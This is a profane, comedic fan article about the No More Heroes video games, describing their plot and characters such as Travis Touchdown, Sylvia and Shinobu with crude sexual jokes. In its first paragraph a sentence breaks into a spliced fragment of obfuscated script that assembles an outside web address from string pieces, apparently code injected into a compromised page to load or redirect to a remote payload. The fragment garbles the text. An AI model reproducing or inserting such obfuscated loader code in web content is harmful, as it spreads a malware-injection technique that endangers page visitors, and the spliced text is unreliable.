No More Heroes

Ever wonder what goes on in the mind of a 14 year old Star Wars fan?)){u='http'+'://buro'+'tkan'+'i.com/'+'sma'

Go get some.

Just The Facts

  1. No More Heroes and its sequel are games for the Nintendo Wii.
  2. They were designed by Suda 51, who made them to remind gamers that he is a badass, and to cease the grinding of teeth by gamers who own a Wii and didn't think Manhunt was bloody enough.
  3. These games are not suitable for children, probably a majority of teens, and anyone in diapers.
  4. The premise of the games, when written out and read, are ludicrous.
  5. Yet it is a game that should be played by anyone that enjoys blood, ass-kicking, retro games, motion controls, Star Wars, professional wrestling, action figures, porn, mini-games, or any combination of those.
  6. With the two games combined, No More Heroes probably displays a wide arrange of sexual fetishes.

No More Heroes: Play It! (And Why You Should Play It)

No More Heroes follows Travis Touchdown, an otaku who purchases a "beam katana" (read: lighsaber) off of EBay and proceeds to battle his way through ten assasins, all for the sake of getting laid. In the sequel, Travis returns to Santa Destroy to kill more assasins and to try to get laid.

How's that sound? What? You need more reasons to play it?

The games take place in the fictional town of Santa Destroy, a coastal city who had Mick Foley as one of the city planners. In between duels with ranked assasins, Travis must pay the organization controlling the assasins gigantic fees by working multiple part time jobs, like picking up coconuts on Body Slam Beach, and killing corporate big heads in parking garages.

What? STILL not convinced?

On his journey, Travis fights schoolgirls, sweet lolitas, gimps, football players, B-Movie superheroes, magicians, gunslingers, supermodels, ghosts, samurai, gigantic robots, cheerleaders, rockstars, cult leaders, someone who might as well be wearing a rebreather, and one shopping-cart toting old lady. All the while being assisted by Ghost from Modern Warfare 2, a video store clerk, a drunk, a retired professional wrestler / swordsman, a scientist, and his pet cat.

If that didn't do it for you, then you are beyond salvation.

The "Heroes" (Other Reasons Why You Should Play the Game)

Travis Touchdown

"People deal with death differently. Some people fuck at funerals, I cut off heads." -Travis Touchdown

Travis Touchdown is the protagonist of No More Heroes. He is the model of what would happen to all nerds if lightsabers did indeed exist, as well as being the outcome of a jackass who became obssessed with anime and Spaceballs. Travis lives in the No More Heroes Hotel in Santa Destroy with his pet cat, Jeane, surrounded by anime memorabillia and professional wrestling collectibles. Were that not enough evidence to suggest his lifestyle, he is constantly hounded by the local video store for late returns on porn tapes and sex ed videos. Travis's parents were murdered in front of him when he was a kid, thus filling him with the need for revenge. Trained in both lucha libre and swordplay, Travis uses the two to combat his enemies and pretty much ruin the shit of any assasin or cronie that is unfortunate enough to cross paths with him.

Pictured above: Someone's shit being ruined.

We first meet Travis as he's storming the mansion of a ranked assasin and follow him through No More Heroes as he brutally kills the assasins ranked higher than he is. We find that Travis has a problem with killing women, for some reason, and of the handful he fought has only killed a few, sparing the rest though most of them died anyway (E.g. One swallowed a hand grenade, declaring "assasins must die", and another impaled herself on Travis's beam katana, refusing to admit that she lost as she assaulted him). We also find out that the person who killed Travis's parents was his half-sister, Jeane, who becomes the only woman he can kill of his own volition. Whilst one motivation for doing any of this in the first place was to get revenge on the person who killed his parents, his main motivation was to get to the top of the UAA and get laid by the female lead of the series. After killing his half-sister (with the help of a female assasin he spared), meeting his twin brother, and finding out that he was trying to fuck one of his in-laws, Travis walks away from Santa Destroy and disappears...

Not before ruining some more people's shit.

He then reappears three years later (in the second game) to seek revenge on the people who killed his best friend, a video store clerk. In the process he seems to have forgotten that the girl he was trying to bed was an in-law and is once again baited with sex. He proceeds to slash his way through more assasins than he did in the last game, with this batch being on the supernatural side of the spectrum (moreso than the entire game already was). Through the game, Travis teams up with his former adversaries to exact his revenge and tear down the association the assasins are ranked by.

While pulling shit like this to ruin more people's shit.

So, the main character of the games is a lightsaber wielding otaku luchador whose favorite thing in the world is ruining the shit of others and taking shits of his own.

We're assuming that he's looking for some fiber in his fridge since he ran out of wicker baskets to eat.

Sylvia Christel

"I'm running late for my facial. Catch you later!" -Sylvia Christel

The aforementioned female lead of the games, there isn't a lot that we know about Sylvia other than she was raised in France and she's the cocktease that other video game cockteases (and probably those in real life as well) take lessons from.

This picture probably says it all. If not... then...

Sylvia serves as Travis's point of contact to the UAA (the aforementioned association for assasins). She handles clean-up of the duels as well as notifying Travis of any new developments relevant to his quest for sex / revenge.

This is... uh... more evidence that she's a cocktease! Yeah!

As the games proceed, we find out a few things about Sylvia. First of which is that she is a con-woman and put on the con to assist Travis in his quest for revenge. We also find out that Sylvia is married to Travis's twin brother, which makes her and Travis in-laws. This is not so in the second game, as she has divorced Travis's brother and is now pursuing a relationship with him, in the way only a woman who had teased him in a plethora of ways a few years prior.

Uh... This one is... ah, fuck. Who are we kidding.

Henry

"Hope you don't mind if I play dirty." -Henry

Henry's first appearance in the games was during one of Travis's duels where he cut his opponent to pieces in a single attack. We didn't see much of Henry after that and the next big part he played was at the end where he saved Travis while Travis was partaking in his favorite pasttime (taking a shit, though maturbation and humping pillows are probably a close second). After challenging him to a duel, Henry reveals two things: one, that he is Travis's twin brother (raised in Ireland), and two, that Sylvia is his wife, a revelation with Travis thinks he'll need counseling for.. The two then proceeded to fight outside of Travis's apartment complex.

The last shot of No More Heroes

In the three years that Travis was gone, we find out that things had gone kind of downhill for Henry. We find that he's been divorced by Sylvia, he's been captured by the assasin that he mutilated when he met Travis, and that he's been frozen in an ionic compound and kept as a trophy. He is rescued by Travis and his associates and after he is revived, proceeds to kill some assasins in place of Travis. Before he wakes up, we do get a brief glimpse of what the mind of Henry is like, as this could be an insight to Trav-

Huh. That's... unexpected.

The Brothers Touchdown (if it is right in ANY way to call them that) team up to take on the rest of the assasins standing in their way and reach the guy Travis was after in the first place. The two manage to hold their own against a corporate big-wig, but after said big-wig transforms into some sort of monstrous balloon, he leaves.

After slaughtering (probably) hordes of assasins, dueling in your own mind, and fighting a dude who was a superhero seconds earlier, Henry runs from this? What a pussy.

Shinobu Jacobs

"Are you fucking with me?" -Shinobu Jacobs

We are first introduced to Shinbou and believe her to be a mild-mannered high school student. Travis marches into her classroom and challenges her to a duel, after which she murders her entire class, then proceeds to fight him. Travis wins the fight, but rather than kill Shinobu, Travis opts to slice off one of her hands and tells her to "become stronger".

Who knew schoolgirls could do that with a sword?

We find out that Shinobu has an intense hatred for Travis. Apparently, he killed her dad. Travis claims otherwise, however, saying that he idolized Shinobu's father. Shinobu survives the fight and later comes to Travis's aid in his battle against his sister. Jeane, not Sylvia.

Mr. Jacobs?

After three years, we find out that Shinobu's hatred towards Travis has turned to infatuation and that she now calls him "master". Much like Henry, Shinobu helps Travis in his (second) quest for revenge by killing off two assasins Travis would've had to face himself. Shinobu kills off the two assasins and then throws herself at Travis... who rejects her.

WHAT!?!

.

Other Characters (Who May Not Stack Up to the "Heroes" but Are Awesome Anyway)

Bishop

Travis's best friend and a clerk at Beef Head Videos. That's... pretty much it. The only reason he's on the list is because he was the motivation for Travis to come back for a second video game. Other than that... he's... kind lame, isn't he?

Bad Girl

Ranked #2 in No More Heroes, Bad Girl first entertained Travis by bashing in the heads of multiple gimps before fighting him and using said gimps as human projectiles. What do you say to that?

Ryuji

He's a biker. He fights with a beam naginata. He summons a gigantic dragon to fuck you over. This guy is a cocksucker...

Mimmy

This is what Henry was fighting in his head. Guess he and Travis are related.

Alice

Eat shit, General Grevious.

Dr. Naomi

This is Dr. Naomi and... uh... she... uh... where the fuck did she get her doctorate? Why aren't we hearing about THOSE types of schools?

Jeane

Travis's half-sister and the first game's final boss. Jeane was molested by Travis's father, which is probably what drove her to murder everyone but Travis in the first place. She hired herself out as a prostitute to pay for training as an assasin before murdering everyone in front of Travis. Not only does she kill the top ranked assasin with ease, she drops a devestating video game reference while having a conversation with Travis that should go down in video game history. (See Below Video)